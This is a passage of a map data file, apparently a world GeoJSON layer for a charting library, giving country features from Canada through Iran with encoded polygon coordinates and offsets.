ಛʃЋ͡୫ʣŞȏ෬lȳᖟԋᔧɴឿŻధĸཟªĿЖ༊Ȑб؆ԢÐᖤγ଩բഹLjڼ͘๰Ȩʄ̊஋͠ΥѠᘞ—ڒĝ಼̪ቃĬ᰽Á๣˸۩ͼগʘȁ˺దLjঘ‚࿲ƌం̺ਬ©ࣤɽٔҒૐƈບĢᢲ–Ҁĝ᝚ƚᆔÁᆒÁ"]],encodeOffsets:[[[-65192,47668]],[[-63289,50284]],[[-126474,49675]],[[-57481,51904]],[[-135895,55337]],[[-81168,63651]],[[-83863,64216]],[[-87205,67234]],[[-77686,68761]],[[-97943,70767]],[[-92720,71166]],[[-116907,74877]],[[-107008,75183]],[[-78172,74858]],[[-88639,74914]],[[-102764,75617]],[[-95433,74519]],[[-123351,73097]],[[-95859,76780]],[[-100864,78562]],[[-110808,78031]],[[-96956,78949]],[[-118987,79509]],[[-96092,79381]],[[-112831,79562]],[[-112295,80489]],[[-98130,79931]],[[-102461,80205]],[[-89108,81572]],[[-70144,85101]]]}},{type:"Feature",id:"CHE",properties:{name:"Switzerland"},geometry:{type:"Polygon",coordinates:["@@ƫŹȳϞƵіwá΅χƙةŀǻ͹ЏơƄһ˵Л¡αǶ˽ςБſ^ϠؚҾɈϤûɲƞ܎MǦǼ࣒ʱ"],encodeOffsets:[[9825,48666]]}},{type:"Feature",id:"CHL",properties:{name:"Chile"},geometry:{type:"MultiPolygon",coordinates:[["@@Bም࣒@Ԓw˧ͻܛʻЭ‚ӻä؏ʨ࢟ŨੑҸ࡫Ҏୃशۘǭ୼֗૜̟ѢϬ˘ֺޠΎװı"],["@@͢୅؆ŘĺɁ˿ࢍࣵг€ඓǫ˓ʦ͡ץԹջ߁̛ރĀ߿ԫࡹϮฏɔƵCޛӑࠍpۯٍշFޙʮࠏԉ̧ɣݡȟࡱƚ৿ͷǡȞॹϜ͇ˡΛ϶ǙĚ̓νǃĜӱ̫૗ѽܓĮыˇՑ٣υôࢹ̧̐֔ÄgؽΒө᎔őުſݝPЙȷݷ̣Ɖ޹Σoॅ˚१ג@@ਲ਼ӔˁՒʄӰх֒Ņ෤Φ߰ࢴٰౣʔߞݒ˸ඊत̏Ѯგ֝ɠʿ਻ՉŠ˂ல˺༒ϮָʍࠎéूΠ„Ԩപ׈എΤబȗ఼ʤۚĵਞӮਆưྺ˒ნˀሤÕ൘ǩ஄ќɌɦњЬֱŐ؅ѴΡ˅߽Ҍह"]],encodeOffsets:[[[-70281,-53899]],[[-69857,-22010]]]}},{type:"Feature",id:"CHN",properties:{name:"China"},geometry:{type:"MultiPolygon",coordinates:[["@@ԑഓΫۏѷ܂ĩخӶࠜڦَϨʡƣԓ","@@ܩЗۏʺyܢаϠࣾɾӚoȊ͍σσșӟ"],["@@ฬˍ঺ׯͼ߃౨Cܰͨ൸ʜѳݱ͙̭˽ः֡ࠇ৵ƪܝ̑ɜܙť঳ѕwLяթӺͯһಙαƀѹܩŒЍ˂ֽ׭ऑҋۃա୭ʑأϽࣝɭ҂ϴǭ͞ږ֠ѹѲܷ̓ॉ׏ԫթ࠙¡ѓϻѸ֩یƏ„ϕڔʕस׶ݚ͝լuƌѱஓɻϻҏࠇућיࣜҥͦࠝԞޓ֮٥_دՅɯȪ҃ӶʻŻۃɇڗҷ÷ؗࣧڹિޭোିޡୟۻृĩԣύ̃˘Ӈй୭сࢵŹ˻ࢱҭ·ə؎Ȧ͘ૻːЇƍࡍɔЏ΀ƄӜޏƶЙܑ̀҃ࠇīڡJ҉ȳѥūŶ॥҃x÷Ȣ}Ύ؝ʓεƸر͂ʔۤՏǎȧޜࢱƓĴাߔۮ”ۚ{٠νȨ˭ӶӭÙࣟŲ˴ΜϿԺ׳Ν۵ȸॷ՗އسڳĿοɦѹr׷Țґɇ֋رëڌԟǭওĈोȖڿτٵǔ˯ЖҽŦࡓոکʴΑȩଢ଼טࠛՒɽऐ׾ő‚іͭјĐۆࣙঠ൧ͼʝ٦ةϼƫʌųӎˆ͜ԛȔ˟ďɇިʈȔśȠߤЈ׈ǐࢸő͆՜ંIJͮ̚೜ҔŠȐãӐּɔݱฦဘͲјȈ؆ຒဠˡҲϞ¢ࡆۦĀٖ֔͢èɚו۸ѽப̿׆ڱ͕ঙ̢ηূƝଆŝ৪ԻԲġϤޟӲӿऒnჄȉ૤Ŝࠦůఔԛ৮BόʽঐҌബ̈ాŒঘ̒׾҈ך˰Ƌˤˍ͔ѴըӀùࡺǝ࠸Ѿ౲͚؞֊נʆ௠ŐڐĥĠ̘ݿזګː٥̳ࠣžӇŃɏΆר࠾Цو৚̓ஆՎQτݸࢾҲːWҪңȦۜмਰƲ૜vసʡ݈̱԰ࡏ̀α̊ԩ̶ࠕ"]],encodeOffsets:[[[124701,24980],[112988,19127]],[[130722,50955]]]}},{type:"Feature",id:"CIV",properties:{name:"Ivory Coast"},geometry:{type:"Polygon",coordinates:["@@ϣUוǒ՟Wহƥ׍ʍ̯ࠫNjvÞۖĄŀ}ͨΣΚˉÈʕɲǾώčО ʔƄB¸ξÝnjĄŜ̸ĶȹڨȗΎæ˸ǘÞŊúɸųٮOƸʖƢgʎĦžΫȞłΌŰϚǽƦ˥Ϙǯ̎ɄϾŒֺɏɠ஡Ο۷ɕेθܣ›ͧ"],encodeOffsets:[[-2924,5115]]}},{type:"Feature",id:"CMR",properties:{name:"Cameroon"},geometry:{type:"Polygon",coordinates:["@@Ľ°ӻŇԝŒЋÅ൅nŬڒ͟֊ϧƚǟϖɋŦXɶɎתЎ߸ʒRԄӮ͈bҾΉ־˲ĀΔȌͺžь҆ΊǞךDzȊŢѨɜ՚۾ٲ¬˨ĠƲͫͰ‚ˌʂ¶ͮ՟Ê֏‹֏ҜޅҷTʁÏϥČǻЅӸөμƛŠΏˆ׃ſɩх࡛ȫƳÝٳČΝåʡЈѭð̴̟џϨ˓œϥĘʏÓґڛȤڷɜ੗"],encodeOffsets:[[13390,2322]]}},{type:"Feature",id:"COD",properties:{name:"Democratic Republic of the Congo"},geometry:{type:"Polygon",coordinates:["@@»ঙͶŕˑ̗͓ɟ͍ѫǯϷ±ګț͍Oهʍɹ‹ԃŗÝýҟɄϡÂ৥ưޝċѧǘӣӤҹҒ੕ͥĒ૿ƙɣĵʇՙȊχƫষĻࡇɨƫט͝ɲƴìٟࣟR·Ҧ̳ΨٟŠȋѰԣ˅ڧŞ˫ϢՕüϽqµʾ́rϥºԳųιtȻû®ৄ˩̸ÕԬŬԒǝ͖eՊ৳Qò̢ѕG­ƣԵɁӧűȿҫŠˣş։å͏Ѱȗ˖ʋԌȷض៛\\̍ķʑh΋œşʼɊʀμƎɎ̪ǰɚđ˼͐ҜSÄʃ̼ƩӶՄӨШɆːƒ۔θࠆϬўքМĪˌt̰Ǝ̆«ӊŀݖǐԾʦ҈¸Ԕúה͜ѐҊ˔۔˷՘ؚ̳ĉظǏʦԖŘÞϦčनоͨDZ˖~ŴȲ̺ðلėբoˤĚԘۙϘķɤƖϲÅҶDzȦΫ݊֏"],encodeOffsets:[[31574,3594]]}},{type:"Feature",id:"COG",properties:{name:"Republic of the Congo"},geometry:{type:"Polygon",coordinates:["@@̿˾ʩƗͻγۏࢸٖҪ̓֌˾ɂ֦ĺäό҆Зݐ•ʴЈł֒ĝڀЉӺζ঄ȽǘسçɻѢÔξ੘ڸɛڜȣÔҒѰ޲ԆѼ֪Ɨդ±·ԓʥ҇ǏԽĿݕ¬Ӊƍ̅s̯ĩˋփЛϫѝηࠅ„ۓɅˏӧЧӵՃ̻ƪÃʄқT˻͏əĒ"],encodeOffsets:[[13308,-4895]]}},{type:"Feature",id:"COL",properties:{name:"Colombia"},geometry:{type:"Polygon",coordinates:["@@ΫȤЭ˨ʅƅ܉Ŝȱΰƽ_࠿Ӓŕʺ̼ڛтȢ̦иÊΞՆ͐Ѵ̳ȦDŽӦȏސǸɚƃ܄ͻ҄ņТ˔ÑǂʠțӶĺŬѢـהΌĚT˦ƺ܂ӖϸՊfäǪڂéڌъ͞ȊОК̖»ɚɛǍ˱գƕɇп͗ʋʓ̷Ĺ׵ɷӭѢÇņϭȄȁâ͹ij̵ˆǫȸéȨ̉ઊĄӦŃעܡͼĚ؂­ӐĪ̔ƟƱҍȇ˯ß׻ǜ֑ʆʟ†ȉэл̨ȃɠ̋ʰ࠹ǁĻǏӸɷˊ˥́࿕lZԿӰē…͏ǙĔҿƑK؏ώ̫ƀӓoηϙᘯп҂ʣpժࡤٟϾԍị̈ƤҧɝصŀӵࢤϳɐˍІ֑Њɡā"],encodeOffsets:[[-77182,-155]]}},{type:"Feature",id:"CRI",properties:{name:"Costa Rica"},geometry:{type:"Polygon",coordinates:["@@җȆǟǮĬƤ‰ȄɷȪͥǔ́ņÅʖəƮÄʑǗȩȓɸˑĊŗǞLʮŎˆʁŠȖnjŴňֆɝȖŊˊéƔǥʜÇȪDzɈҙ͖ͷЂΩ͗õLͷǪűűıƱëǟ©Ǖ"],encodeOffsets:[[-84956,8423]]}},{type:"Feature",id:"CUB",properties:{name:"Cuba"},geometry:{type:"Polygon",coordinates:["@@ܨÑڊW߄˹̭ͮ޺Ĩ̔ȡ܈ԳԺϛˢ\\ԆǟÕʁئ“ٌ΅ıȟ֑Ń֡¥׃âளą֜Ҷ΁ɔէÈ̃ʐȥӎӃ޵ɦʥǬભž̋ǐ̀ɀࠗ¨׿ѧΏ[ťȳеğΫĂѺʸǼ̤ϞȈіǎَĄȰĢ"],encodeOffsets:[[-84242,23746]]}},{type:"Feature",id:"-99",properties:{name:"Northern Cyprus"},geometry:{type:"Polygon",coordinates:["@@ÐJŨȮ؄Yކʢ֧ΧÔƿęˆLJÙűj¥iĎѾNjVɫïƿ¬"],encodeOffsets:[[33518,35984]]}},{type:"Feature",id:"CYP",properties:{name:"Cyprus"},geometry:{type:"Polygon",coordinates:["@@€ãࡱͿЩŊȟͶЎŒǀ«ɬðnjUÒ½j覎ŲiLjÚ̇"],encodeOffsets:[[34789,35900]]}},{type:"Feature",id:"CZE",properties:{name:"Czech Republic"},geometry:{type:"Polygon",coordinates:["@@ϯǂЁ©ٵʲ̏Ùҿ΅ر˔ӃΰѕȬėΠƧʠؒǾ̸Ⱦ׾ǎɂdžɜīϒĖЊ˓ؼñ¿ɳҘǧŲɒּĥĄʿز»ϮЯʡCŽƯȕ—ÅȑLJ¡wý˹ēϋbšȁ"],encodeOffsets:[[17368,49764]]}},{type:"Feature",id:"DEU",properties:{name:"Germany"},geometry:{type:"Polygon",coordinates:["@@d͗ࡔțS̗ࡢǂҾɰॊͧІˋȞёɹɣ̨̙Ⱥ҅ß́Έ՛ϑĕɛĬɁDž׽Ǎ̷ȽؑǽƨʟĘΟіȫӄί̑ϯ̟ŃŢշýƛʿǤЕ~׷ƭݍ–ţɛыɺʩ±࣑ʲǥǻ܍Nń״ьֺ௅ƸЇɘ´ςǗȐĨ֨ƗࢢԎ@Ɉ͂Ⱦޔƿ˴ǐDz۰°Ƽȃ֮вȓ̀ӈٌōՠŸ"],encodeOffsets:[[10161,56303]]}},{type:"Feature",id:"DJI",properties:{name:"Djibouti"},geometry:{type:"Polygon",coordinates:["@@ȤʹΑӏȩήɯ̱҇ȅƬȭÏҷb_ʮßɶ˴Ѐ̐ϊήñʪȴ"],encodeOffsets:[[44116,13005]]}},{type:"Feature",id:"DNK",properties:{name:"Denmark"},geometry:{type:"MultiPolygon",coordinates:[["@@ԋڹ࢟ӄŝΒ௼˨ˎу"],["@@ȵ̓ʡĞ؁؁ɮХ՟ŷًŎͽҲ}࡬Ɣɪʌʦ݌À̐ɴڮʂƒѝʟ˙ĶɽҘŵ"]],encodeOffsets:[[[12995,56945]],[[11175,57814]]]}},{type:"Feature",id:"DOM",properties:{name:"Dominican Republic"},geometry:{type:"Polygon",coordinates:["@@ŀƞپIӾɏɜtƴ̕Ҡhʡϐ‰Ю̷̯ͿЍǼϫ•ˡ¢ƱƵ͑½ŷȲˣťͳֻɏƆ§ʎjɬɍʦȲƚÞ͒óҜ"],encodeOffsets:[[-73433,20188]]}},{type:"Feature",id:"DZA",properties:{name:"Algeria"},geometry:{type:"Polygon",coordinates:["@@ᮩཽᝩ࿷இϑटćU՘ϵƌԹʊȧЀᬻᆴᬻᆴṕᎠfnj@ÊQ঺ബب࠼Ÿێɦ͎тচͪ˜جӢòϞ̶સƚƸ͜ɛDz̃ࢲ¹Ԟ́ՠ߰ҠࣦƢՌΎ߶ʰ෎Ƭർæшůߊͨ࣌P΀ȝֺ¾ǟћƄߟȡۙԭҵôمۊԃRȯԮ͹Ϊຝ˖ݏ°ϵƧۇÔϥŃҟòՇͫΗӺؓŽέ̘ҵϼƸڒϷςՃ"],encodeOffsets:[[12288,24035]]}},{type:"Feature",id:"ECU",properties:{name:"Ecuador"},geometry:{type:"Polygon",coordinates:["@@҂غǻξ͍ϵԉςǞʀƙބ̎ŴƺԼ͆զÍ΄ҢǸ׀Ͱࡀӑƾ`Ȳί܊śʆƆЮ˧άȣŞٓʽճࣷ࢟য়ͧԥܵǃ֣Ӆ΋ΙъͻĞ΍áw̮ʈȨıΔ"],encodeOffsets:[[-82229,-3486]]}},{type:"Feature",id:"EGY",properties:{name:"Egypt"},geometry:{type:"Polygon",coordinates:["@@ɽͷǹىɫѩȝƥ˩˔ϛϒ׵ஸđùΐࢯԪࡋٌವ̴ҙ˒ӃݮछǗƣ‚ճ঒ݭƨǣΏ@Ὁ@⁩@@ᶶ@Ჴʥڲɐ԰Żά̤Ж૦b߲ɝ࠲ʛϴſ٨ˊΌʊݎêװŃɮеȜ˜ڨȣټ³аɄւ෽"],encodeOffsets:[[35761,30210]]}},{type:"Feature",id:"ERI",properties:{name:"Eritrea"},geometry:{type:"Polygon",coordinates:["@@˻˖ΉӰϋ˒ɏܷ̄ͶֻXȭǬӯȡԛϢʽط঑ǬęʹβఀĊ֒ˆʴؤƐьӒӦঃɴޗҢУବߏҲӍҖӝˀ˿аʧʩȳέò"],encodeOffsets:[[43368,12844]]}},{type:"Feature",id:"ESP",properties:{name:"Spain"},geometry:{type:"Polygon",coordinates:["@@¦״΃θஒ؆ਊƱ૾NࣂƝۦªമƒͰ͛໺ϡ̨ǺीϝআŊ®ӥߓ֓ઁǯõ˱ԩү͕ہ͞ӑӟϑǹճىǗש٥੧_ߟhՃ͍̓ͅЩê̵˴ʃӚ޷žé˦̶̀Śɬ̃ʢɶրͳԌδè’ЈƎŬZپϲɪɻфөˆƝŁӹCɁЬ΃ū̥ɇ"],encodeOffsets:[[-9251,42886]]}},{type:"Feature",id:"EST",properties:{name:"Estonia"},geometry:{type:"Polygon",coordinates:["@@ĮӸ̱ŁՓ̘ñӘਫ਼ɼ੔Ũ࣮Ƒࢂ|Ŵƣׯӝʞ޵ΫˉۙDܡ̸ρļ܏Ʃ"],encodeOffsets:[[24897,59181]]}},{type:"Feature",id:"ETH",properties:{name:"Ethiopia"},geometry:{type:"Polygon",coordinates:["@@ԜϡӰȢȮǫּWܸ͵ɐ̃όˑΊӯ˼˕̏ω˳Ͽàɵ`ʭҸaȮÐȆƫǽ̴̕ҧ̴Й̛͎ᩨঽۺNᛛᡃફ™ݟףաeɯ˅ַB͹˴ލΙʝΓ֕àȃĬȟwˇT੟܌ב@˹ˢ@ҾѧƘӻࣴϥȚƧʹэЦԧÒ˸ӐҀrŲʰ[ݲʞࢠЊɾĎ΄ήٜԔи΀ࠠƆܠ঒ǫʾظ"],encodeOffsets:[[38816,15319]]}},{type:"Feature",id:"FIN",properties:{name:"Finland"},geometry:{type:"Polygon",coordinates:["@@ūיಀ֓ޡى঎ख़֡ܛݴس΅յఘֻ́ѓޭӟᅡੵໃá๑̯ൃǯӡҞ߿ˠȈࠢСݶАӪނՆ኎࣮֖Ǭē΢ୟЈ˳͜uಒ಻ֲ૩ЪԊɞतѻલ¦ࣘȭߠϊЬ؞ಬ˶઄ͯΡכ"],encodeOffsets:[[29279,70723]]}},{type:"Feature",id:"FJI",properties:{name:"Fiji"},geometry:{type:"MultiPolygon",coordinates:[["@@̂ʍƓѭԳŗҩļąτ͖̀ϤĻȼƐ"],["@@՛ǯŅ̼оǤˊ°Ӱˀ@ЧՕȷ"],["@@é­@ШǨžĽЗ"]],encodeOffsets:[[[182655,-17756]],[[183669,-17204]],[[-184235,-16897]]]}},{type:"Feature",id:"FLK",properties:{name:"Falkland Islands"},geometry:{type:"Polygon",coordinates:["@@৘Ԍ܎ȿԌʹڦϙʥ̋ଋʥϙ̌܋ϙпϚ"],encodeOffsets:[[-62668,-53094]]}},{type:"Feature",id:"FRA",properties:{name:"France"},geometry:{type:"MultiPolygon",coordinates:[["@@ˣ٭ϡǠș֢ǜ̺ը͎Ɯܛ"],["@@הЅќà݀ϥȊñʎjЈɗெƷыֹŃ׳ɱƝϣü‚ɇؙҽ]ϟВƀ˾ρ“ʁʚ̿̅ʯɐٱҖŃĩηݿӅစɬ௧˗ĩԑঅʼnिϞ̧ǹ໹Ϣͯ͜ѢԎdžူࢁࢤإю౹͒čؖઠǾථɏˇॎߌέዠپʨێܾǞŪ̑ϸ_ϸ͵"]],encodeOffsets:[[[9790,43165]],[[3675,51589]]]}},{type:"Feature",id:"GAB",properties:{name:"Gabon"},geometry:{type:"Polygon",coordinates:["@@ࡹࡔ։ۚԙࢄ‚˨ǾˎȲؔǜخ˴¶௢SOৠЌÆԞőӼňľ¯ÓνɼѡشèȾǗεঃЊӹĞٿŁ֑ʳЇݏ–҅Иãϋ֥Ĺ˽Ɂ̈́֋ٕҩ"],encodeOffsets:[[11361,-4074]]}},{type:"Feature",id:"GBR",properties:{name:"United Kingdom"},geometry:{type:"MultiPolygon",coordinates:[["@@҉ֽًǦԱ[ǦҊǥ҈۴–ࣔԳ"],["@@࣋ࣧࡦŘऄIɕۅݯݩࢄÃäĕݠ঱ֺƇԬढ़ʈͧৰDžķ՝ѓʗͲѣݱѯ૳Rෝɱϻǒ։ϿޥĪם͍ҁǘ௼ࢨݪǺOBಽƔʃͰ࢜ʺҡҐdžռఢ÷D@ŮӤ֛Ԯ_\\৵ƨȧɬ̨ϒˡɴҍЇ·߶щє̨ࢆٶھڤá০ì"]],encodeOffsets:[[[-5797,55864]],[[-3077,60043]]]}},{type:"Feature",id:"GEO",properties:{name:"Georgia"},geometry:{type:"Polygon",coordinates:["@@Ųάȿִӟ̲ҭĬ̯ʴĺIJ܄ƝఆƋଦЕƦƻԚƂ޶ǭʴ·Նșɓřвғŗıҏºصʎȵƍଢ଼ſ߳Юࣅ¡"],encodeOffsets:[[42552,42533]]}},{type:"Feature",id:"GHA",properties:{name:"Ghana"},geometry:{type:"Polygon",coordinates:["@@೉ӯҳ˽ݳʑݡʆœͨηܤɖैΠ۸ɟ஢ŗنrӊฤ¢ϊÕ˔ƊϴáÕʿΖџC؍Ąڍɂ̫ȅݳäйɢՓȈ̍"],encodeOffsets:[[1086,6072]]}},{type:"Feature",id:"GIN",properties:{name:"Guinea"},geometry:{type:"Polygon",coordinates:["@@ʃtǡͷʁJǏǴÈͶΗԨɕħǵmɳ³V̮Ƈɘ‚ʔǻΜɹ̜ڥDțǁɵoƝǷīɹ҅σρӼ͛͢ɋŊȿǖħϊūȂʓƐώЦʮeɖƘȄDƄŎï˨ĢĖd˶МU؀ȱȄlÚĤҜáŨ´¶̭ƆBɖŒƔƒɸɇάãɲǺ˖ŒȬŠǚuȈȁĴɳΆΙǣɏ˙ǴĊŀį«ʡʲʍǗÝå˷Ș΍Ⱥڧ̷ĵăśÞNj·νƃA"],encodeOffsets:[[-8641,7871]]}},{type:"Feature",id:"GMB",properties:{name:"Gambia"},geometry:{type:"Polygon",coordinates:["@@ņόࣶzȎȦˊ`ͨȷʼIˢƚǞʏεȋιdέǰ̷ȗƭQȫŝއl"],encodeOffsets:[[-17245,13468]]}},{type:"Feature",id:"GNB",properties:{name:"Guinea Bissau"},geometry:{type:"Polygon",coordinates:["@@҅ΘΝÈȕʀLŸʯǴÁǶѼƌ˦ɦĨ༈•c˵ġĕð˧ƃōȃCɕƗʭfύХ"],encodeOffsets:[[-15493,11306]]}},{type:"Feature",id:"GNQ",properties:{name:"Equatorial Guinea"},geometry:{type:"Polygon",coordinates:["@@ƿŴ़̀െmPয়௡T˳µ"],encodeOffsets:[[9721,1035]]}},{type:"Feature",id:"GRC",properties:{name:"Greece"},geometry:{type:"MultiPolygon",coordinates:[["@@Ҡ˱ٺ¶شÑqƣҜĶĿʛ௃íTƒਁǎƺΦ"],["@@ʹՁȥĥԟ|ѫĀৱɓ׌ҿяƋҳAѻўƿȁȊԅрЁ̓ǿҴϯжʑ^ӅޥɠʜѕՓĕ͈ݏ֏Yۍμ̿ڦƧ֒͝ϮљӐÉʆϸТ¼˚˘Ũjɚռö͌ȀҖgƒƦdž„ت{ڨɲע̉ކĀVмЦɝ"]],encodeOffsets:[[[24269,36562]],[[27243,42560]]]}},{type:"Feature",id:"GRL",properties:{name:"Greenland"},geometry:{type:"Polygon",coordinates:["@@ᬜԆ᱒›ੴ̴ᲈĄ䀦Ŀ㉊ڗ༅͕ộ™⭏ćшƫᲐĠᡚ́࿈ʴۦ̝इӧᒞ̺✘͚ᠼNjҾΫ⃝ױӃȕ᧑ơወ¡ছؕگկ€ध৚շಽ“൧ˇ༂ѽȢ܋࣍ýઞܡህÑঈ΁˟̑இŽ୥E੆֩\\Ϗပΐћɣଌȿ઼ԣ͈ڱກlj٫͖ਣӘ˼֭উѵᕖ•୆¯ᖯܵᗿڏឧ́ओIࢅ͓ୟࢱᅵכׅ“૧ȷ஽ȝܛԱ[כыտോڧͺٿϗ۝љࠍஅ½఍ۈဿLࠁҢ֕ࠐฝਲэոŗݮ୓ޢ̢ئ֗̒ࠪচొ̺ͨΘǬڀॡ̕қůݯţਏ˜Éְ͢҂ެ\\႔ɟ෿Քݩ˾࠷ş۫ȼम޴ԝ̺ڗ׈ৡࢼ੯͚XΚᖷӮᄻÖᖟ‘Ꮕ×ইˌวՈᕂ˄ၚ¬≹ɖ቉΄Ś͜ẊИᶎИ̪͘ᗗ̠ܺͰ᯲ז௢ĚΓϘጲɜᣚƂᣖRࣺʽᕺҨፘ̽୺áპ˙ፅҐŘή"],encodeOffsets:[[-47886,84612]]}},{type:"Feature",id:"GTM",properties:{name:"Guatemala"},geometry:{type:"Polygon",coordinates:["@@ћƦԻfϩǖҍΌrʖĮȠšƾКۆ઄Ft˸Ƌ¾ġǺ̵Ț̹ˬϜDBӂ޸BަUOڗßॅʤ@˚ƱòŰʘŃϥ͍ЉɻÏljâǑǧɇȟ½¬ıƿġ˽Ƀ}ŭ"],encodeOffsets:[[-92257,14065]]}},{type:"Feature",id:"GUF",properties:{name:"French Guiana"},geometry:{type:"Polygon",coordinates:["@@͉͑ГÑŗʀȉ–ʹɩνǦɈΪòϤƢή͛ӸáֺѪܠ˸ğؤȥࢸۿƔ·ӻޑʳأ"],encodeOffsets:[[-53817,2565]]}},{type:"Feature",id:"GUY",properties:{name:"Guyana"},geometry:{type:"Polygon",coordinates:["@@ր̯Դյzџ̈́o҈Чͪ̇Ƈݱԛɕ°ȣƹџϊ؏ːAŎӃԢܳȱ‰ҫî˙ɡϟƥ˅—ġǑЭ¦ԫЀÓϴɋьƆܐɸ̐ȕϸ˿ŶŊτțȘѩ™ْ֩ɬɲiϲԬƊȾƾ˽̸ô̬ږӲ"],encodeOffsets:[[-61192,8568]]}},{type:"Feature",id:"HND",properties:{name:"Honduras"},geometry:{type:"Polygon",coordinates:["@@ơˀʭòÐʹŗĞǣÒσij‹ŔʩƈǷǚʛìǨɈáǒÐNJЊɼϦ͎ĔȂƨʊ\\þ垦ϸùϲv˒ĢİĦˎ©ȪÉɘnǖòϨśƄkʲƿʐį̏Źɜɳ˽jśŕ̇ŋɃAȅŃǙœƛźĕ{ŇȩăRaǥ̉ɳƹıđĽʛǞǹɣǫPȟqlЭūQĿȓʽ“"],encodeOffsets:[[-89412,13297]]}},{type:"Feature",id:"HRV",properties:{name:"Croatia"},geometry:{type:"Polygon",coordinates:["@@Ȳ͗ˊʇ͓̓ϝȆׇ[ܟƔϽmǻǧ̝ȖǫΑЪϽǼʹϮ̽͌ȃ͆Ηݔ͇ġƛ߃̶ӣ̢ޑʠ۹ؤǞØϥΞe˲եƄʱγʝˮn̆Šbג…Ƹƚ˸ƍͤgGɼ̈ĒĈͺڞɠˊĻؼέۜlj̼Ų"],encodeOffsets:[[19282,47011]]}},{type:"Feature",id:"HTI",properties:{name:"Haiti"},geometry:{type:"Polygon",coordinates:["@@Ԣ™ܰƁôқÝ͑ȱƙɎʥiɫ֏ƜЅÍԡÔϽƿ҉ʾö˔ޜśيã̢ȈϧθP͎ՋžȌɶ"],encodeOffsets:[[-74946,20394]]}},{type:"Feature",id:"HUN",properties:{name:"Hungary"},geometry:{type:"Polygon",coordinates:["@@˨ըǍǼӂDÜ΄ђɋ̲ğ۸ļäǚͮ~ЦžĜÃЂŀȠȢˠ¼࣒ʭǴĒҲɭÎɣԡǭЉ֫ԕ֭کǁԽš١ə̻űۛNJػήˉļǍ˴ƗV"],encodeOffsets:[[16592,47977]]}},{type:"Feature",id:"IDN",properties:{name:"Indonesia"},geometry:{type:"MultiPolygon",coordinates:[["@@Λe૝ך޴ǒѴʭ̎ʭ»ɩ"],["@@ܙȁijĶø˸ΰԢࠨͬĐǓfʫշع"],["@@̢ɣԲèȼΥॿǛ׉őҍP̀ӚҤPɤ̖"],["@@ūұ౅ʅૣľE̬ښǪՂʥ֔Üݬ̮"],["@@ྔċȂΌ༘З̪կీƵਐӿय़͋ऍ͸ݻwࢍØ޻ưঅ͎؝ČΓŁ໕ΌƣΰޑØּߤ৶·ڴ͡ΒÛŘ̗"],["@@ѝֱćنƬ̠Ǭ˴ȒʗCЏ"],["@@̿˥ׅƸǏΰࡘ¢Ⱦˣ"],["@@̨ٝۿΌۯìӃÅׇˆȦҦਠ”ऎʕ"],["@@ɼയ࢈ԉ۰ࢼ८ԔݜBܘ̉خ̛ࣘLJbᩑbᩑݟې࡟ǜȷʇ੡}ΦۂՈɺɕࣲЕ۸࿃܆ۗêృަʛУ͑óȏ̮GκٛЮ̢ࣞ״gëɠ௵DͩԄݥƺΡдଈȰњ˜ഘ·Ƃ̹"],["@@ڭ࠭كlj߱ǐඓ¥ܽŧţٍݪݛҒϠ༪˸çϯλŪιӯ͙݉ߒ੿Ƶ˿ݲॻQտ҅ʙ̐͡Мی࠙͗ȻɶŊ͖؅ӲØࠌ֕ʭîও”றՓũίʚʌޜŽ߸ΛPʻֺΎվŤښф౎ǮΎ܎ذپʛ੖śॴ–ࠨ؎Ʀȉ"],["@@©ܽџĈŷԝΌѷɽĵ͹Ւʟ੺ǚڤ˨̨ÔҝӸóĀ΃"],["@@सާহį˫ֵšݿַ߱u࠷͕౻ŭ̚ॕϙͫԤ׳´лːৃ̟̩Оս¯ۗĬŹૺнɺЕܘŝ݀ĮުԂ֐Ɩָ֗ӅըǠ՜ÑӪъЖôߒɽۆǶњୠ͔̈̆क़ॲ@ܰƙӍݷآߓơϭ"],["@@छkۻ۰અۊέԚٍۄзؾٕ୴۪݅ʙܠ̳ڀݵՊѭܘمҺࢗऒóђզ‘ಢNjݔࠓٮ֫ҪΓߔࣙࡢ_ۺֹӠ۳٘ϥͳۉӖ̞̅sƜו̊ҵؠõФՏɁ਱‘ಟ"]],encodeOffsets:[[[123613,-10485]],[[127423,-10383]],[[120730,-8289]],[[125854,-8288]],[[111231,-6940]],[[137959,-6363]],[[130304,-3542]],[[133603,-3168]],[[137363,-1179]],[[128247,1454]],[[131777,1160]],[[120705,1872]],[[108358,-5992]]]}},{type:"Feature",id:"IND",properties:{name:"India"},geometry:{type:"Polygon",coordinates:["@@ࣚটďۅͮїѕ׽ŒɾएࠜՑ୞חՑϟ͛޻ࠀͅߊЭરһସʼnӜёٮāৠȝ۪bĪͪŋՖÞβԠǮìڋlǙކ͉Ոƀ܀Çۈ|ÐԪ΁ˎڴŀވشॸ՘۶ȷ״ΞЀԹ˳Λ࣠űÜ͇̍Ʒèԫ׷Ʋછׅ~ӓҩ۵§ХϏۗځȒࢇȏ˹ĚΣгȥѵ೰ɵEƍ՝ҡѦʸӎϖ¶ϰ܆ӝƜީ]ߝŚóאБ¤ڕζ֭̓؆ѻԿ̻ȅ̩Ԭɣƛԑ̆كžەţֱ̫Zਛǩ´ك҃ӻ௃֡ळ঩كՋ࠷ջCϭлȹݳ̝Ͻ«ʥٙǪધ®ۡΣߙI෗ѣ¡ϣٙʰˣދʃ˱֯͵ʍߑ޸ϳ୴͑ࡒ̍Јѿ߰ȻੂơՀޅ଼Α࿀ʣ੾HৰǍ޾௣ԉףĶ઱৲И̤ʝͤড܊֖֔ᇜCǗܞҽюĩ٨ջϘऒࢢঊÙ࢞ࢢՄ࡞ࠄࡈ_״ܒӠڳд֪݂̇̕Ьβ౤ȱपŰߺ۸"],encodeOffsets:[[79706,36346]]}},{type:"Feature",id:"IRL",properties:{name:"Ireland"},geometry:{type:"Polygon",coordinates:["@@ƒ׷ًݣ๯ӹ஑Ŷڼ࢚ѭࡢତڄٌϼǦ҇ǥ҉Բ\\ٌǥ"],encodeOffsets:[[-6346,55161]]}},{type:"Feature",id:"IRN",properties:{name:"Iran"},geometry:{type:"Polygon",coordinates:["@@݈njװӔ֚{τƾװýघэڤğ।ݓظ‰òۻ΁਷ɱؑκŭΫҡˠڡàՓِƙæեݿݿжѵ͸ԓߦυx݉ДƋêϯ௉ѡ̓উཌྷʪࣷȖेŊΧਐЕƪ٣ƭࡑНਇ˦ࡑ٦߳ʈ֗ߘا૪ҍƋՕ˦̻͝ҭѴS҂ˍ@Ɛ،ѝٔ਍Ң׉ߜȜپц̂ÙӬտʨխ৊ҟڨǐʼʿ६ּʈƄͅ